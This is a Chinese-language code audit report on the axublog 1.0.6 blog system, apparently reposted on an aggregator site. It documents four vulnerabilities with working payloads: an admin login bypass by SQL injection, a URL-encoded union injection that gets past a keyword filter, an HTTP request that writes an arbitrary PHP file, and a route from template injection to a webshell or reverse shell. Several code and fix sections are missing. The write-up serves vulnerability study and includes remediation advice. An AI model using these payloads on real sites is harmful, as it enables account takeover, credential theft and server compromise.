AXUBLOG 代码审计报告
[ 審計(jì)信息 ]
版本:axublog1.0.6
編輯器:phpstorm
調(diào)試工具:XDEBUG、SEAY源代碼審計(jì)系統(tǒng)、Firefox、BurpSuit
漏洞一:后臺萬能密碼登陸
[ 審計(jì)方法]
動態(tài)調(diào)試
[ 漏洞原理與危害 ]
原理:SQL注入
危險(xiǎn)等級:高危
[ 漏洞分析 ]
在 ./ad/login.php 的第84行開始看到$user、$psw、$loginlong都是直接從$_POST直接傳送過來的。
function jsloginpost(){ global $tabhead; global $txtchk; @$user=$_POST["user"]; @$psw=$_POST["psw"];$psw = authcode(@$psw, 'ENCODE', 'key',0); @$loginlong=$_POST["loginlong"];setcookie("lggqsj",date('Y-m-d H:i:s',time()+$loginlong), time()+60*60*24,"/; HttpOnly" , "",'');$tab=$tabhead."adusers"; $chk=" where adnaa='".$user."' and adpss='".$psw."' "; mysql_select_db($tab); $sql = mysql_query("select * from ".$tab.$chk); if(!$sql){$jieguo="<div id=redmsg>(數(shù)據(jù)庫查詢失敗!)</div>";}else{$num=mysql_num_rows($sql);if($num==0){$jieguo='<div id=redmsg>登錄失敗:賬戶或密碼錯(cuò)誤!</div>';}else{ loginpass($loginlong);$jieguo='<div id=bluemsg>登錄成功!正在前往<a href="index.php">后臺</a>。。。</div><meta http-equiv="refresh" content="1;url=index.php">';@$chkmoblie=isMobile();if($chkmoblie==1){$jieguo='<div id=bluemsg>登錄成功!正在前往<a href="wap.php">后臺</a>。。。</div><meta http-equiv="refresh" content="1;url=wap.php">';}}在靜態(tài)審計(jì)的過程中需要追入一開始的include的文件用以檢查是否對 $_POST變量進(jìn)行過濾。但是這個(gè)比較復(fù)雜的過程可以通過使用動態(tài)調(diào)試來簡化。
在 ./ad/login.php 中第5行下斷點(diǎn)以便追蹤$_POST變量的值。
當(dāng)從登陸頁面輸入登陸的賬戶和密碼,程序便可斷在我們設(shè)置的斷點(diǎn)處。
這里沒有發(fā)現(xiàn)有對$_POST變量進(jìn)行過濾,繼續(xù)追蹤下去。
在第94行發(fā)現(xiàn)我們傳遞的數(shù)值沒有經(jīng)過過濾就直接帶入到數(shù)據(jù)庫進(jìn)行查詢,這就造成SQL注入
等執(zhí)行完流程之后發(fā)現(xiàn)登陸成功了。
[ Payload構(gòu)造 ]
構(gòu)造POST數(shù)據(jù)
user=aaa'+or+1=1+#&psw=admin&loginlong=86400[ 修復(fù)建議 ]
2. 更改數(shù)據(jù)庫交互函數(shù),使用PDO等預(yù)編譯技術(shù)
漏洞二:前臺數(shù)字型SQL注入
[ 審計(jì)方法]
靜態(tài)分析
[ 漏洞原理與危害 ]
原理:SQL注入
危險(xiǎn)等級:高危
[ 漏洞分析 ]
./hit.php文件代碼如下:
<?php header("Content-type:text/html; charset=utf-8"); require("cmsconfig.php"); require("class/c_other.php"); sqlguolv();$g=$_GET['g'];if ($g=='arthit'){ $id=$_GET['id'];if($id!=''){$tab=$tabhead."arts"; mysql_select_db($tab); $sql=mysql_query("UPDATE ".$tab." SET hit=hit+1 where id=".$id); $sql = mysql_query("select * from ".$tab." where id=".$id); $row=mysql_fetch_array($sql);$str=$row['hit'];echo 'document.write('.$str.');';} }在第16行和第17行都將 $id直接帶入SQL查詢,而$id是直接從 $_GET['id'] 中提取的。
設(shè)想使用如下url進(jìn)行注入,但發(fā)現(xiàn)被攔截了
這里被攔截的原因出自 sqlguolv() 。追入該函數(shù)看過濾的代碼:
Function sqlguolv() {@header("Content-type:text/html; charset=utf-8"); if (preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i',$_SERVER['QUERY_STRING'])==1 or preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i',file_get_contents("php://input"))==1){echo "警告 非法訪問!"; exit;} }這里嘗試使用大小寫來繞過,但是因?yàn)檎齽t函數(shù)是使用 /i ,導(dǎo)致大小寫被忽略,所以不可行。這里Thinking師傅的審計(jì)文章里有提到:
sqlguolv()函數(shù)中對字符串進(jìn)行檢測的方式是從 $_SERVER['QUERY_STRING'] 中提取請求的字符串,并且不會對URL編碼進(jìn)行解碼。
但是在 hit.php 中對參數(shù)的賦值是從$_GET中提取的,而GET方法會對URL進(jìn)行一次解碼
因此過濾可以被繞過。
[ Payload構(gòu)造 ]
構(gòu)造URL:
http://localhost/test/hit.php?g=arthit&id=-1+%75%6e%69on+s%65%6c%65ct+1,2,3,4,5,6,user(),8,9,10,11,12
獲取管理員的賬號密碼
[ 修復(fù)建議 ]
}
}
3、使用預(yù)編譯技術(shù)和數(shù)據(jù)庫進(jìn)行交互。
三、任意文件上傳
[ 審計(jì)方法]
靜態(tài)分析
[ 漏洞原理與危害 ]
原理:因?yàn)閷魅氲膮?shù)控制不嚴(yán)格導(dǎo)致任意文件上傳可getshell。
危險(xiǎn)等級:高危
[ 漏洞分析 ]
在 ./ad/theme.php 的第186行有如下代碼:
<?php function edit2save(){ global $themepath; ?> <div class="yj_green" id=full> <b class="b1"></b><b class="b2"></b><b class="b3"></b><b class="b4"></b> <div class="boxcontent"> <h2><a href="?">主題管理</a> > <a href="javascript:history.go(-2)">編輯主題</a> > 編輯文件 > <a href="javascript:history.back()">返回</a></h2> </div> <div class="t1"><div class="t2"> <?php $path=$_REQUEST['path']; $content=stripslashes($_REQUEST['content']); ?> <p>編輯文件:<?=$path?></p> <?php if($path==''){echo'文件路徑錯(cuò)誤!';exit;}if(file_put_contents ($path, $content)){echo"保存文件成功!";} else{echo"保存文件失敗!";} ?>該部分是對傳入的$content的內(nèi)容寫入$path所指定的文件中。但是在寫入的過程中沒有對$content進(jìn)行過濾,所以可以在$content中傳入惡意代碼。
再查找該函數(shù)所調(diào)用的地方,一共是有兩處:
第一處在app.php的第18行;
第二處是在theme.php的第15行,在switch語句的分支內(nèi):
兩處使用方法都一樣。
[ Payload構(gòu)造 ]
POST /test/ad/theme.php?g=edit2save HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close Cookie: tagshu=2; Phpstorm-412f56be=1eecaa0c-569a-4b04-a486-b30c93e38533; bdshare_firstime=1544593304718; UM_distinctid=169d2e34f2b31-02627307218e188-4c312d7d-1fa400-169d2e34f2c50; CNZZDATA1256279252=838561257-1554019595-%7C1554019595; artshu=2; CNZZDATA1260680534=639309003-1554195859-http%253A%252F%252Flocalhost%252F%7C1554220147; applinks=%3Cp%3E%3Ca++target%3D%22main%22+href%3D%22..%2Fapp%2Fdbbackup%2Findex.php%22%3Edbbackup%E6%95%B0%E6%8D%AE%E5%BA%93%E5%A4%87%E4%BB%BD%E6%81%A2%E5%A4%8D%E7%A8%8B%E5%BA%8F%3C%2Fa%3E%3C%2Fp%3E; PHPSESSID=p9354usd4oqusi7v73ujr01gp2; lggqsj=2019-04-05+14%3A54%3A51; chkad=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%3B+rv%3A67.0%29+Gecko%2F20100101+Firefox%2F67.0_127.0.0.1_2019-04-04+14%3A54%3A50 Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache Content-Length: 48path=../evil.php&content=<?php phpinfo(); ?>
寫webshell也類似,就不再貼圖了。
[ 修復(fù)建議 ]
其頁面的地址也是固定的:所以直接在后臺寫死或者在后臺對傳遞來的path做校驗(yàn)。
從theme.php的第195行開始
四、后臺生成about頁面getshell
[ 審計(jì)方法]
靜態(tài)分析
[ 漏洞原理與危害 ]
原理:因?yàn)樵谏蒩bout的時(shí)候調(diào)用了ob_get_contents函數(shù)來執(zhí)行about.mb里面的php語句,而沒有做應(yīng)有的檢查所以導(dǎo)致可以寫入webshell。
危險(xiǎn)等級:高危
[ 漏洞分析 ]
在./ad/html.php 的第694行有如下代碼:
ob_start(); include($mb); $html = ob_get_contents (); ob_clean(); $html=mbreplace($html); file_put_contents ($cache, $html);echo '生成about.html成功: <a target=blank href="'.$cache.'">訪問</a>'; ?>這個(gè)地方實(shí)際上就是把a(bǔ)bout.mb包含進(jìn)來之后執(zhí)行其內(nèi)部的php語句,然后再將一些標(biāo)簽替換成變量的值,最后把處理的結(jié)果放入$cache變量中再將其寫入aout.html頁面。雖然最后生成的頁面是靜態(tài)的,但是依舊不會阻止getshell的腳步。
[ payload構(gòu)造 ]
思路一:用 file_get_content函數(shù)寫入webshell:
在about.mb尾部添加如下代碼:
然后點(diǎn)擊生成about頁面,就可以看到目錄下生成了webshell
然后訪問:
思路二:通過類似方法,使用system函數(shù)執(zhí)行反彈腳本的語句。
[ 修復(fù)意見 ]
總結(jié)
以上是生活随笔為你收集整理的AXUBLOG 代码审计报告的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: dna序列分类数学建模matlab,MA
- 下一篇: 李雪:今目标与企业共同成长